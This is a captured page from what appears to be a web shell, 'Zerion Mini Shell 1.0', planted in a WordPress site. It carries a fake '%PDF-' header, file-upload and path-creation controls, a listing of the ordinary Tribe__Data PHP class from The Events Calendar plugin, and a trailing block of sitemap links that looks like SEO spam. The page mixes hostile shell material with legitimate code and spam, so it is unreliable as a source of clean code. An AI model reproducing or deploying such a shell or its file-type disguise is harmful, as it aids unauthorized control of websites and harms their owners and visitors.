%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/
Upload File :
Create Path :
Current File : //dom645759/wp-content/plugins/the-events-calendar/common/src/Tribe/Data.php

<?php
/**
 * Class Tribe__Data
 *
 * A value object implementing the ArrayAccess interface.
 *
 * Example usage:
 *      $my_data = array( 'lorem' => 'dolor' );
 *
 *      // by default return 'nope' when a value is not set in the data
 *      $data = new Tribe__Data( $my_data, 'nope' );
 *
 *      // set some values in the data
 *      $data['foo'] = 'bar';
 *      $data['bar'] = 23;
 *
 *      // fetch some values
 *      $var_1 = $data['foo']; // "bar"
 *      $var_2 = $data['bar']; // 23
 *      $var_3 = $data['lorem']; // "dolor"
 *      $var_4 = $data['woo']; // "nope"
 *
 *      $data->set_default( 'not found' );
 *
 *      $var_4 = $data['woo']; // "not found"
 */

use Tribe\Traits\Array_Access;

/**
 * Class Tribe__Data
 */
class Tribe__Data implements ArrayAccess, Iterator { // phpcs:ignore TEC.Classes.ValidClassName.NotSnakeCase,WordPress.NamingConventions.ValidClassName.InvalidClassName,PEAR.NamingConventions.ValidClassName.Invalid,Generic.Classes.OpeningBraceSameLine.ContentAfterBrace

	use Array_Access;

	/**
	 * @var int
	 */
	protected $index = 0;

	/**
	 * @var mixed The default value that will be returned when trying to get the value
	 *            of a non set key.
	 */
	protected $default;

	/**
	 * Tribe__Data constructor.
	 *
	 * @param array|object $data          An array or object of data.
	 * @param mixed        $default_value The default value that should be returned if a key is not set.
	 */
	public function __construct( $data = [], $default_value = false ) {
		$this->data    = (array) $data;
		$this->default = $default_value;
	}

	/**
	 * Offset to retrieve
	 *
	 * @link  http://php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param mixed $offset The offset to retrieve. Will return the default if the offset isn't set.
	 *
	 * @return mixed Can return all value types.
	 *
	 * @since 4.11.0
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this->data[ $offset ] ?? $this->default;
	}

	/**
	 * Gets the data this object manages.
	 *
	 * @return array
	 */
	public function get_data() {
		return $this->data;
	}

	/**
	 * Sets the data this object will manage.
	 *
	 * @param array $data The data this object will manage.
	 */
	public function set_data( array $data ) {
		$this->data = $data;
	}

	/**
	 * Gets the default value that will be returned when a key is not set.
	 *
	 * @return mixed
	 */
	public function get_default() {
		return $this->default;
	}

	/**
	 * Sets the default value that should be returned when a key is not set.
	 *
	 * @param mixed $default_value The default value that should be returned if a key is not set.
	 */
	public function set_default( $default_value ) {
		$this->default = $default_value;
	}

	/**
	 * Return the current element
	 *
	 * @link  http://php.net/manual/en/iterator.current.php
	 *
	 * @return mixed Can return any type.
	 *
	 * @since 4.11.0
	 */
	#[\ReturnTypeWillChange]
	public function current() {
		$keys = array_keys( $this->data );

		return $this->data[ $keys[ $this->index ] ];
	}

	/**
	 * Move forward to next element
	 *
	 * @link  http://php.net/manual/en/iterator.next.php
	 * @return void Any returned value is ignored.
	 * @since 4.11.0
	 */
	public function next(): void {
		++$this->index;
	}

	/**
	 * Return the key of the current element
	 *
	 * @link  http://php.net/manual/en/iterator.key.php
	 *
	 * @return mixed scalar on success, or null on failure.
	 *
	 * @since 4.11.0
	 */
	#[\ReturnTypeWillChange]
	public function key() {
		$keys = array_keys( $this->data );

		return $keys[ $this->index ];
	}

	/**
	 * Checks if current position is valid
	 *
	 * @link  http://php.net/manual/en/iterator.valid.php
	 * @return boolean The return value will be casted to boolean and then evaluated.
	 * Returns true on success or false on failure.
	 * @since 4.11.0
	 */
	public function valid(): bool {
		$keys = array_keys( $this->data );

		return isset( $keys[ $this->index ] );
	}

	/**
	 * Rewind the Iterator to the first element
	 *
	 * @link  http://php.net/manual/en/iterator.rewind.php
	 * @return void Any returned value is ignored.
	 * @since 4.11.0
	 */
	public function rewind(): void {
		$this->index = 0;
	}

	/**
	 * Converts the data object in an array.
	 *
	 * @return array
	 *
	 * @since 4.6
	 */
	public function to_array(): array {
		return $this->get_data();
	}
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap60.xml 2026-12-01 https://louisvillegop.com/sitemap907.xml 2026-12-01 https://louisvillegop.com/sitemap877.xml 2026-12-01 https://louisvillegop.com/sitemap535.xml 2026-12-01 https://louisvillegop.com/sitemap647.xml 2026-12-01 https://louisvillegop.com/sitemap281.xml 2026-12-01 https://louisvillegop.com/sitemap48.xml 2026-12-01 https://louisvillegop.com/sitemap637.xml 2026-12-01 https://louisvillegop.com/sitemap739.xml 2026-12-01 https://louisvillegop.com/sitemap22.xml 2026-12-01 https://louisvillegop.com/sitemap286.xml 2026-12-01 https://louisvillegop.com/sitemap778.xml 2026-12-01 https://louisvillegop.com/sitemap295.xml 2026-12-01 https://louisvillegop.com/sitemap112.xml 2026-12-01 https://louisvillegop.com/sitemap514.xml 2026-12-01 https://louisvillegop.com/sitemap303.xml 2026-12-01 https://louisvillegop.com/sitemap686.xml 2026-12-01 https://louisvillegop.com/sitemap481.xml 2026-12-01 https://louisvillegop.com/sitemap863.xml 2026-12-01 https://louisvillegop.com/sitemap330.xml 2026-12-01 https://louisvillegop.com/sitemap755.xml 2026-12-01 https://louisvillegop.com/sitemap883.xml 2026-12-01 https://louisvillegop.com/sitemap20.xml 2026-12-01 https://louisvillegop.com/sitemap928.xml 2026-12-01 https://louisvillegop.com/sitemap53.xml 2026-12-01 https://louisvillegop.com/sitemap18.xml 2026-12-01 https://louisvillegop.com/sitemap671.xml 2026-12-01 https://louisvillegop.com/sitemap13.xml 2026-12-01 https://louisvillegop.com/sitemap440.xml 2026-12-01 https://louisvillegop.com/sitemap725.xml 2026-12-01 https://louisvillegop.com/sitemap611.xml 2026-12-01 https://louisvillegop.com/sitemap278.xml 2026-12-01 https://louisvillegop.com/sitemap746.xml 2026-12-01 https://louisvillegop.com/sitemap591.xml 2026-12-01 https://louisvillegop.com/sitemap949.xml 2026-12-01 https://louisvillegop.com/sitemap860.xml 2026-12-01 https://louisvillegop.com/sitemap747.xml 2026-12-01 https://louisvillegop.com/sitemap534.xml 2026-12-01 https://louisvillegop.com/sitemap106.xml 2026-12-01 https://louisvillegop.com/sitemap794.xml 2026-12-01 https://louisvillegop.com/sitemap151.xml 2026-12-01 https://louisvillegop.com/sitemap433.xml 2026-12-01 https://louisvillegop.com/sitemap586.xml 2026-12-01 https://louisvillegop.com/sitemap610.xml 2026-12-01 https://louisvillegop.com/sitemap454.xml 2026-12-01 https://louisvillegop.com/sitemap833.xml 2026-12-01 https://louisvillegop.com/sitemap717.xml 2026-12-01 https://louisvillegop.com/sitemap727.xml 2026-12-01 https://louisvillegop.com/sitemap837.xml 2026-12-01 https://louisvillegop.com/sitemap309.xml 2026-12-01 https://louisvillegop.com/sitemap44.xml 2026-12-01 https://louisvillegop.com/sitemap751.xml 2026-12-01 https://louisvillegop.com/sitemap418.xml 2026-12-01 https://louisvillegop.com/sitemap851.xml 2026-12-01 https://louisvillegop.com/sitemap744.xml 2026-12-01 https://louisvillegop.com/sitemap130.xml 2026-12-01 https://louisvillegop.com/sitemap701.xml 2026-12-01 https://louisvillegop.com/sitemap339.xml 2026-12-01 https://louisvillegop.com/sitemap5.xml 2026-12-01 https://louisvillegop.com/sitemap583.xml 2026-12-01 https://louisvillegop.com/sitemap789.xml 2026-12-01 https://louisvillegop.com/sitemap327.xml 2026-12-01 https://louisvillegop.com/sitemap887.xml 2026-12-01 https://louisvillegop.com/sitemap393.xml 2026-12-01 https://louisvillegop.com/sitemap476.xml 2026-12-01 https://louisvillegop.com/sitemap527.xml 2026-12-01 https://louisvillegop.com/sitemap832.xml 2026-12-01 https://louisvillegop.com/sitemap249.xml 2026-12-01 https://louisvillegop.com/sitemap181.xml 2026-12-01 https://louisvillegop.com/sitemap140.xml 2026-12-01